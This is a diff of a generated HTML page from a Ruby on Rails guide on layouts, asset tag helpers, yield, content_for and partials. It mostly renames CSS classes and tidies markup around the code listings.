-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>By default, the combined file will be delivered as <tt>javascripts/all.js</tt>. You can specify a location for the cached asset file instead:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>By default, the combined file will be delivered as <tt>javascripts/all.js</tt>. You can specify a location for the cached asset file instead:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p></p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p></p></div>
<h4 id="_linking_to_css_files_with_tt_stylesheet_link_tag_tt">3.1.3. Linking to CSS Files with <tt>stylesheet_link_tag</tt></h4>
-<div class="para"><p>The <tt>stylesheet_link_tag</tt> helper returns an HTML <tt>&lt;link&gt;</tt> tag for each source provided. Rails looks in <tt>public/stylesheets</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/stylesheets/main.cs</tt>:</p></div>
+<div class="paragraph"><p>The <tt>stylesheet_link_tag</tt> helper returns an HTML <tt>&lt;link&gt;</tt> tag for each source provided. Rails looks in <tt>public/stylesheets</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/stylesheets/main.cs</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/stylesheets/columns.css</tt>:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/stylesheets/columns.css</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/photos/columns.css</tt>:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/photos/columns.css</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "/photos/columns" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>http://example.com/main.cs</tt>:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "/photos/columns" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>To include <tt>http://example.com/main.cs</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "http://example.com/main.cs" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>By default, <tt>stylesheet_link_tag</tt> creates links with <tt>media="screen" rel="stylesheet" type="text/css"</tt>. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "http://example.com/main.cs" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>By default, <tt>stylesheet_link_tag</tt> creates links with <tt>media="screen" rel="stylesheet" type="text/css"</tt>. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main_print", media =&gt;</span> <span style="color: #FF0000">"print"</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>all</tt> option links every CSS file in <tt>public/stylesheets</tt>:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main_print", media =&gt;</span> <span style="color: #FF0000">"print"</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>all</tt> option links every CSS file in <tt>public/stylesheets</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply the <tt>:recursive</tt> option to link files in subfolders of <tt>public/stylesheets</tt> as well:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>You can supply the <tt>:recursive</tt> option to link files in subfolders of <tt>public/stylesheets</tt> as well:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache &#8658; true</tt> in your <tt>stylesheet_link_tag</tt>:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>If you&#8217;re loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache =&gt; true</tt> in your <tt>stylesheet_link_tag</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>By default, the combined file will be delivered as <tt>stylesheets/all.css</tt>. You can specify a location for the cached asset file instead:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>By default, the combined file will be delivered as <tt>stylesheets/all.css</tt>. You can specify a location for the cached asset file instead:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p></p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p></p></div>
<h4 id="_linking_to_images_with_tt_image_tag_tt">3.1.4. Linking to Images with <tt>image_tag</tt></h4>
-<div class="para"><p>The <tt>image_tag</tt> helper builds an HTML <tt>&lt;image&gt;</tt> tag to the specified file. By default, files are loaded from <tt>public/images</tt>. If you don't specify an extension, .png is assumed by default:</p></div>
+<div class="paragraph"><p>The <tt>image_tag</tt> helper builds an HTML <tt>&lt;image&gt;</tt> tag to the specified file. By default, files are loaded from <tt>public/images</tt>. If you don&#8217;t specify an extension, .png is assumed by default:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= image_tag "header" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply a path to the image if you like:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= image_tag "header" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>You can supply a path to the image if you like:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply a hash of additional HTML options:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>You can supply a hash of additional HTML options:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif", :height =&gt;</span> <span style="color: #993399">45</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>There are also three special options you can use with <tt>image_tag</tt>:</p></div>
-<div class="ilist"><ul>
+<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif", :height =&gt;</span> <span style="color: #993399">45</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>There are also three special options you can use with <tt>image_tag</tt>:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:alt</tt> specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension)
@@ -1098,7 +935,7 @@ http://www.gnu.org/software/src-highlite -->
</li>
</ul></div>
<h3 id="_understanding_tt_yield_tt">3.2. Understanding <tt>yield</tt></h3>
-<div class="para"><p>Within the context of a layout, <tt>yield</tt> identifies a section where content from the view should be inserted. The simplest way to use this is to have a single <tt>yield</tt>, into which the entire contents of the view currently being rendered is inserted:</p></div>
+<div class="paragraph"><p>Within the context of a layout, <tt>yield</tt> identifies a section where content from the view should be inserted. The simplest way to use this is to have a single <tt>yield</tt>, into which the entire contents of the view currently being rendered is inserted:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1110,9 +947,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
&lt;%= yield %&gt;
<span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also create a layout with multiple yielding regions:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can also create a layout with multiple yielding regions:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1125,11 +961,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
&lt;%= yield %&gt;
<span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The main body of the view will always render into the unnamed <tt>yield</tt>. To render content into a named <tt>yield</tt>, you use the <tt>content_for</tt> method.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The main body of the view will always render into the unnamed <tt>yield</tt>. To render content into a named <tt>yield</tt>, you use the <tt>content_for</tt> method.</p></div>
<h3 id="_using_tt_content_for_tt">3.3. Using <tt>content_for</tt></h3>
-<div class="para"><p>The <tt>content_for</tt> method allows you to insert content into a <tt>yield</tt> block in your layout. You only use <tt>content_for</tt> to insert content in named yields. For example, this view would work with the layout that you just saw:</p></div>
+<div class="paragraph"><p>The <tt>content_for</tt> method allows you to insert content into a <tt>yield</tt> block in your layout. You only use <tt>content_for</tt> to insert content in named yields. For example, this view would work with the layout that you just saw:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1139,9 +974,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>A simple page<span style="font-weight: bold"><span style="color: #0000FF">&lt;/title&gt;</span></span>
&lt;% end %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The result of rendering this page into the supplied layout would be this HTML:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The result of rendering this page into the supplied layout would be this HTML:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1154,31 +988,28 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>content_for</tt> method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>content_for</tt> method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It&#8217;s also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.</p></div>
<h3 id="_using_partials">3.4. Using Partials</h3>
-<div class="para"><p>Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.</p></div>
+<div class="paragraph"><p>Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.</p></div>
<h4 id="_naming_partials">3.4.1. Naming Partials</h4>
-<div class="para"><p>To render a partial as part of a view, you use the <tt>render</tt> method within the view, and include the <tt>:partial</tt> option:</p></div>
+<div class="paragraph"><p>To render a partial as part of a view, you use the <tt>render</tt> method within the view, and include the <tt>:partial</tt> option:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"menu"</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>This will render a file named <tt>_menu.html.erb</tt> at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"menu"</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>This will render a file named <tt>_menu.html.erb</tt> at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you&#8217;re pulling in a partial from another folder:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"shared/menu"</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>That code will pull in the partial from <tt>app/views/shared/_menu.html.erb</tt>.</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"shared/menu"</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>That code will pull in the partial from <tt>app/views/shared/_menu.html.erb</tt>.</p></div>
<h4 id="_using_partials_to_simplify_views">3.4.2. Using Partials to Simplify Views</h4>
-<div class="para"><p>One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:</p></div>
+<div class="paragraph"><p>One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what&#8217;s going on more easily. For example, you might have a view that looked like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1191,9 +1022,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Here are a few of our fine products:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
...
-&lt;%= render :partial =&gt; "shared/footer" %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Here, the <tt>_ad_banner.html.erb</tt> and <tt>_footer.html.erb</tt> partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.</p></div>
+&lt;%= render :partial =&gt; "shared/footer" %&gt;</tt></pre></div></div>
+<div class="paragraph"><p>Here, the <tt>_ad_banner.html.erb</tt> and <tt>_footer.html.erb</tt> partials could contain content that is shared among many pages in your application. You don&#8217;t need to see the details of these sections when you&#8217;re concentrating on a particular page.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1203,18 +1033,17 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h4 id="_partial_layouts">3.4.3. Partial Layouts</h4>
-<div class="para"><p>A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:</p></div>
+<div class="paragraph"><p>A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "link_area", :layout =&gt; "graybar" %&gt;
-</tt></pre></div></div>
-<div class="para"><p>This would look for a partial named <tt>_link_area.html.erb</tt> and render it using the layout <tt>_graybar.html.erb</tt>. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master <tt>layouts</tt> folder).</p></div>
+<pre><tt>&lt;%= render :partial =&gt; "link_area", :layout =&gt; "graybar" %&gt;</tt></pre></div></div>
+<div class="paragraph"><p>This would look for a partial named <tt>_link_area.html.erb</tt> and render it using the layout <tt>_graybar.html.erb</tt>. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master <tt>layouts</tt> folder).</p></div>
<h4 id="_passing_local_variables">3.4.4. Passing Local Variables</h4>
-<div class="para"><p>You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:</p></div>
-<div class="para"><p><tt>new.html.erb</tt>:</p></div>
+<div class="paragraph"><p>You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:</p></div>
+<div class="paragraph"><p><tt>new.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1222,9 +1051,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>New zone<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
&lt;%= error_messages_for :zone %&gt;
-&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Create zone", :zone =&gt; @zone } %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>edit.html.erb</tt>:</p></div>
+&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Create zone", :zone =&gt; @zone } %&gt;</tt></pre></div></div>
+<div class="paragraph"><p><tt>edit.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1232,9 +1060,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Editing zone<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
&lt;%= error_messages_for :zone %&gt;
-&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Update zone", :zone =&gt; @zone } %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>_form.html.erb:</tt></p></div>
+&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Update zone", :zone =&gt; @zone } %&gt;</tt></pre></div></div>
+<div class="paragraph"><p><tt>_form.html.erb:</tt></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1248,18 +1075,16 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
&lt;%= f.submit button_label %&gt;
<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-&lt;% end %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.</p></div>
-<div class="para"><p>Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the <tt>:object</tt> option:</p></div>
+&lt;% end %&gt;</tt></pre></div></div>
+<div class="paragraph"><p>Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.</p></div>
+<div class="paragraph"><p>Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the <tt>:object</tt> option:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "customer", :object =&gt; @new_customer %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Within the <tt>customer</tt> partial, the <tt>@customer</tt> variable will refer to <tt>@new_customer</tt> from the parent view.</p></div>
+<pre><tt>&lt;%= render :partial =&gt; "customer", :object =&gt; @new_customer %&gt;</tt></pre></div></div>
+<div class="paragraph"><p>Within the <tt>customer</tt> partial, the <tt>@customer</tt> variable will refer to <tt>@new_customer</tt> from the parent view.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1268,110 +1093,157 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.</td>
</tr></table>
</div>
-<div class="para"><p>If you have an instance of a model to render into a partial, you can use a shorthand syntax:</p></div>
+<div class="paragraph"><p>If you have an instance of a model to render into a partial, you can use a shorthand syntax:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; @customer %&gt;
-</tt></pre></div></div>
-<div class="para"><p>Assuming that the <tt>@customer</tt> instance variable contains an instance of the <tt>Customer</tt> model, this will use <tt>_customer.html.erb</tt> to render it.</p></div>
+<pre><tt>&lt;%= render :partial =&gt; @customer %&gt;</tt></pre></div></div>
+<div class="paragraph"><p>Assuming that the <tt>@customer</tt> instance variable contains an instance of the <tt>Customer</tt> model, this will use <tt>_customer.html.erb</tt> to render it.</p></div>
<h4 id="_rendering_collections">3.4.5. Rendering Collections</h4>
-<div class="para"><p>Partials are very useful in rendering collections. When you pass a collection to a partial via the <tt>:collection</tt> option, the partial will be inserted once for each member in the collection:</p></div>
-<div class="para"><p><tt>index.html.erb</tt>:</p></div>
+<div class="paragraph"><p>Partials are very useful in rendering collections. When you pass a collection to a partial via the <tt>:collection</tt> option, the partial will be inserted once for each member in the collection:</p></div>
+<div class="paragraph"><p><tt>index.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= render :partial =&gt; "product", :collection =&gt; @products %&gt;
-</tt></pre></div></div>
-<div class="para"><p><tt>_product.html.erb</tt>:</p></div>
+&lt;%= render :partial =&gt; "product", :collection =&gt; @products %&gt;</tt></pre></div></div>
+<div class="paragraph"><p><tt>_product.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is <tt>_product, and within the +_product</tt> partial, you can refer to <tt>product</tt> to get the instance that is being rendered. To use a custom local variable name within the partial, specify the <tt>:as</tt> option in the call to the partial:</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is <tt>_product, and within the +_product</tt> partial, you can refer to <tt>product</tt> to get the instance that is being rendered. To use a custom local variable name within the partial, specify the <tt>:as</tt> option in the call to the partial:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :as =&gt; :item %&gt;
-</tt></pre></div></div>
-<div class="para"><p>With this change, you can access an instance of the <tt>@products</tt> collection as the <tt>item</tt> local variable within the partial.</p></div>
+<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :as =&gt; :item %&gt;</tt></pre></div></div>
+<div class="paragraph"><p>With this change, you can access an instance of the <tt>@products</tt> collection as the <tt>item</tt> local variable within the partial.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by <tt>_counter</tt>. For example, if you're rendering <tt>@products</tt>, within the partial you can refer to <tt>product_counter</tt> to tell you how many times the partial has been rendered.</td>
+<td class="content">Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by <tt>_counter</tt>. For example, if you&#8217;re rendering <tt>@products</tt>, within the partial you can refer to <tt>product_counter</tt> to tell you how many times the partial has been rendered.</td>
</tr></table>
</div>
-<div class="para"><p>You can also specify a second partial to be rendered between instances of the main partial by using the <tt>:spacer_template</tt> option:</p></div>
+<div class="paragraph"><p>You can also specify a second partial to be rendered between instances of the main partial by using the <tt>:spacer_template</tt> option:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
